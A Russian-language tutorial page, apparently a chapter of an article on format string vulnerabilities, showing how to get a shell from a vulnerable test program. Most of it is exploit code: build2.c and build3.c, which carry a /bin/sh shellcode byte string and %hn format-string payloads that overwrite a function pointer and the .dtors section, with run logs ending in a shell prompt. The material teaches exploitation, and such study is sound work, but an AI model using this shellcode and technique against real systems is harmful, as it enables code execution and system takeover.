П О Р Т А Л                            
С Е Т Е В Ы Х                          
П Р О Е К Т О В                        
  
Поиск по сайту:
                                                 
Главная

О проекте

Web-мастеру
     HTML & JavaScript
     SSI
     Perl
     PHP
     XML & XSLT
     Unix Shell

MySQL

Безопасность

Хостинг

Другое








Самое читаемое:

Учебник PHP - "Для Чайника".
Просмотров 175061 раз(а).

Иллюстрированный самоучитель по созданию сайтов.
Просмотров 72059 раз(а).

Учебник HTML.
Просмотров 72113 раз(а).

Руководство по PHP5.
Просмотров 42732 раз(а).

Хостинг через призму DNS.
Просмотров 49227 раз(а).

Подборка текстов стандартных документов.
Просмотров 43151 раз(а).

Учебник PHP - Самоучитель
Просмотров 49491 раз(а).

Документация на MySQL (учебник & справочное руководство)
Просмотров 49756 раз(а).

Внешние атаки...
Просмотров 40284 раз(а).

Учебник PHP.
Просмотров 35315 раз(а).

SSI в примерах.
Просмотров 26585 раз(а).






 
 
| Добавить в избранное | Сделать стартовой Project.Net.Ru | Помощь




Пожалуйста, дайте мне оболочку

Мы видели здесь простые эксплоиты. Используя тот же принцип, мы можем получить оболочку, передавая шеллкод или через argv[] или переменную окружения уязвимой программе. Мы просто должны установить правильный адрес (т.е. адрес вызова оболочки) в секции .dtors.

В данный момент мы знаем:

  • как исследовать стек разумных пределах (теоретически, предела нет, однако становится довольно трудно достаточно быстро забирать слова из стека одно за одним);
  • как записать ожидаемое значение по нужному адресу.

Однако, в реальной жизни, уязвимая программа не настолько хороша, как в примере. Мы представим метод, который позволяет нам поместить шеллкод в память и находить его точный адрес (это значит: больше не нужны NOP-ы в начале шеллкода).

Идея основана на рекурсивных вызовах функции exec*():

/* argv.c */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>


main(int argc, char **argv) {

  char **env;
  char **arg;
  int nb = atoi(argv[1]), i;

  env    = (char **) malloc(sizeof(char *));
  env[0] = 0;

  arg    = (char **) malloc(sizeof(char *) * nb);
  arg[0] = argv[0];
  arg[1] = (char *) malloc(5);
  snprintf(arg[1], 5, "%d", nb-1);
  arg[2] = 0;

  /* printings */
  printf("*** argv %d ***\n", nb);
  printf("argv = %p\n", argv);
  printf("arg = %p\n", arg);
  for (i = 0; i<argc; i++) {
    printf("argv[%d] = %p (%p)\n", i, argv[i], &argv[i]);
    printf("arg[%d] = %p (%p)\n", i, arg[i], &arg[i]);
  }
  printf("\n");

  /* recall */
  if (nb == 0)
    exit(0);
  execve(argv[0], arg, env);
}
Входные данные - целое nb, программа будет рекурсивно вызывать себя nb+1 раз:
>>./argv 2
*** argv 2 ***
argv = 0xbffff6b4
arg = 0x8049828
argv[0] = 0xbffff80b (0xbffff6b4)
arg[0] = 0xbffff80b (0x8049828)
argv[1] = 0xbffff812 (0xbffff6b8)
arg[1] = 0x8049838 (0x804982c)

*** argv 1 ***
argv = 0xbfffff44
arg = 0x8049828
argv[0] = 0xbfffffec (0xbfffff44)
arg[0] = 0xbfffffec (0x8049828)
argv[1] = 0xbffffff3 (0xbfffff48)
arg[1] = 0x8049838 (0x804982c)

*** argv 0 ***
argv = 0xbfffff44
arg = 0x8049828
argv[0] = 0xbfffffec (0xbfffff44)
arg[0] = 0xbfffffec (0x8049828)
argv[1] = 0xbffffff3 (0xbfffff48)
arg[1] = 0x8049838 (0x804982c)

Мы сразу же замечаем, что адреса, выделяемые для arg и argv, больше не двигаются после второго вызова. Мы будем использовать это свойство в нашем эксплоите. Мы просто должны немного изменить нашу программу build, чтобы она вызывала себя перед вызовом vuln. Так мы получаем точный адрес argv и нашего шеллкода:

/* build2.c */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

char* build(unsigned int addr, unsigned int value, unsigned int where)
{
  //Та же функция, что и в build.c
}

int
main(int argc, char **argv) {

  char *buf;
  char shellcode[] =
     "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
     "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
     "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  if(argc < 3)
    return EXIT_FAILURE;

  if (argc == 3) {

    fprintf(stderr, "Calling %s ...\n", argv[0]);
    buf = build(strtoul(argv[1], NULL, 16),  /* адрес */
        &shellcode,
        atoi(argv[2]));              /* смещение */

    fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));
    execlp(argv[0], argv[0], buf, &shellcode, argv[1], argv[2], NULL);

  } else {

    fprintf(stderr, "Calling ./vuln ...\n");
    fprintf(stderr, "sc = %p\n", argv[2]);
    buf = build(strtoul(argv[3], NULL, 16),  /* адрес */
        argv[2],
        atoi(argv[4]));              /* смещение */

    fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));

    execlp("./vuln","./vuln", buf, argv[2], argv[3], argv[4], NULL);
  }

  return EXIT_SUCCESS;
}

Хитрость в том, что мы знаем, что вызывать, исходя из количества аргументов, полученных программой. Чтобы запустить эксплоит, мы просто передаем build2 адрес, куда мы хотим писать, и смещение. Нам не надо больше передавать значение, так как оно вычисляется нашими последовательными вызовами.

Чтобы достичь цели, нам надо сохранять одинаковое распределение памяти между различными вызовами build2, а затем vuln (вот почему мы вызываем функцию build(), чтобы использовать одинаковый "отпечаток" памяти).:

>>./build2 0xbffff634 3
Calling ./build2 ...
adr : -1073744332 (bffff634)
val : -1073744172 (bffff6d4)
valh: 49151 (bfff)
vall: 63188 (f6d4)
[6ця›4ця›%.49143x%3$hn%.14037x%4$hn] (34)
Calling ./vuln ...
sc = 0xbffff88f
adr : -1073744332 (bffff634)
val : -1073743729 (bffff88f)
valh: 49151 (bfff)
vall: 63631 (f88f)
[6ця›4ця›%.49143x%3$hn%.14480x%4$hn] (34)
0 0xbffff867
1 0xbffff86e
2 0xbffff891
3 0xbffff8bf
4 0xbffff8ca
helloWorld() = 0x80486c4
accessForbidden() = 0x80486e8

before : ptrf() = 0x80486c4 (0xbffff634)
buffer = [6ця›4ця›000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000
00000000000] (127)
after : ptrf() = 0xbffff88f (0xbffff634)
Segmentation fault (core dumped)

Почему это не работает? Мы сказали, что должны построить точную копию памяти между двумя вызовами ... а сами не сделали этого! argv[0] (имя программы) поменялось. Наша программа вначале называлась build2 (6 байт), а затем vuln (4 байта). Различие в 2 байта, которое в точности равно значению, которое вы могли заметить в примере выше. Адрес шеллкода при втором вызове build2 равен sc=0xbffff88f, однако содержимое argv[2] в vuln дает нам 20xbffff891: наши 2 байта. Чтобы решить проблему, достаточно переименовать build2 в что-нибудь из 4 букв, например, bui2:

>>cp build2 bui2
>>./bui2 0xbffff634 3
Calling ./bui2 ...
adr : -1073744332 (bffff634)
val : -1073744156 (bffff6e4)
valh: 49151 (bfff)
vall: 63204 (f6e4)
[6ця›4ця›%.49143x%3$hn%.14053x%4$hn] (34)
Calling ./vuln ...
sc = 0xbffff891
adr : -1073744332 (bffff634)
val : -1073743727 (bffff891)
valh: 49151 (bfff)
vall: 63633 (f891)
[6ця›4ця›%.49143x%3$hn%.14482x%4$hn] (34)
0 0xbffff867
1 0xbffff86e
2 0xbffff891
3 0xbffff8bf
4 0xbffff8ca
helloWorld() = 0x80486c4
accessForbidden() = 0x80486e8

before : ptrf() = 0x80486c4 (0xbffff634)
buffer = [6ця›4ця›0000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000
000000000000000] (127)
after : ptrf() = 0xbffff891 (0xbffff634)
bash$

Опять выиграли: таким способом это работает намного лучше ;-) Программа запуска оболочки находится в стеке, мы изменили адрес, на который указывал ptrf, чтобы он указывал на наш шеллкод. Естественно, такое может произойти только если стек доступен для выполнения.

Но мы видели, что строки формата позволяют нам производить запись куда угодно: давайте добавим деструктор в нашу программу в секцию .dtors:

>>objdump -s -j .dtors vuln

vuln:     file format elf32-i386

Contents of section .dtors:
80498c0 ffffffff 00000000                    ........
>>./bui2 80498c4 3
Calling ./bui2 ...
adr : 134518980 (80498c4)
val : -1073744156 (bffff6e4)
valh: 49151 (bfff)
vall: 63204 (f6e4)
[ЖД%.49143x%3$hn%.14053x%4$hn] (34)
Calling ./vuln ...
sc = 0xbffff894
adr : 134518980 (80498c4)
val : -1073743724 (bffff894)
valh: 49151 (bfff)
vall: 63636 (f894)
[ЖД%.49143x%3$hn%.14485x%4$hn] (34)
0 0xbffff86a
1 0xbffff871
2 0xbffff894
3 0xbffff8c2
4 0xbffff8ca
helloWorld() = 0x80486c4
accessForbidden() = 0x80486e8

before : ptrf() = 0x80486c4 (0xbffff634)
buffer = [ЖД000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000
0000000000000000] (127)
after : ptrf() = 0x80486c4 (0xbffff634)
Welcome in "helloWorld"
bash$ exit
exit
>>

Здесь не создается дамп памяти при выходе из деструктора. Это потому, что наш шеллкод содержит вызов exit(0).

В заключение, как последний подарок, приводим программу build3.c, которая также выдает оболочку, но передает данные через переменную окружения:

/* build3.c */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

char* build(unsigned int addr, unsigned int value, unsigned int where)
{
  //Функция, что и в build.c
}

int main(int argc, char **argv) {
  char **env;
  char **arg;
  unsigned char *buf;
  unsigned char shellcode[] =
     "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
      "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
       "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  if (argc == 3) {

    fprintf(stderr, "Calling %s ...\n", argv[0]);
    buf = build(strtoul(argv[1], NULL, 16),  /* адрес */
        &shellcode,
        atoi(argv[2]));              /* смещение */

    fprintf(stderr, "%d\n", strlen(buf));
    fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));
    printf("%s",  buf);
    arg = (char **) malloc(sizeof(char *) * 3);
    arg[0]=argv[0];
    arg[1]=buf;
    arg[2]=NULL;
    env = (char **) malloc(sizeof(char *) * 4);
    env[0]=&shellcode;
    env[1]=argv[1];
    env[2]=argv[2];
    env[3]=NULL;
    execve(argv[0],arg,env);
  } else
  if(argc==2) {

    fprintf(stderr, "Calling ./vuln ...\n");
    fprintf(stderr, "sc = %p\n", environ[0]);
    buf = build(strtoul(environ[1], NULL, 16),  /* адрес */
        environ[0],
        atoi(environ[2]));              /* смещение */

    fprintf(stderr, "%d\n", strlen(buf));
    fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));
    printf("%s",  buf);
    arg = (char **) malloc(sizeof(char *) * 3);
    arg[0]=argv[0];
    arg[1]=buf;
    arg[2]=NULL;
    execve("./vuln",arg,environ);
  }

  return 0;
}

Опять, так как данное окружение находится в стеке, мы должны заботиться о том, чтобы не изменять память (т.е. изменять позицию переменных и аргументов). Имя выполняемого файла должно содержать такое же количество символов, как и имя уязвимой программы vuln.

Здесь, мы решили использовать глобальную переменную extern char **environ, для установки нужных нам значений:

  1. environ[0]: содержит шеллкод;
  2. environ[1]: содержит адрес, куда мы предполагаем произвести запись;
  3. environ[2]: содержит смещение.
Мы покидаем вас, чтобы вы поиграли с этим ... эта (слишком) длинная статья уже наполнена слишком большим количеством исходного кода и тестирующих программ.

Назад | Содержание | Вперед



Если Вы не нашли что искали, то рекомендую воспользоваться поиском по сайту:
 





Copyright © 2005-2016 Project.Net.Ru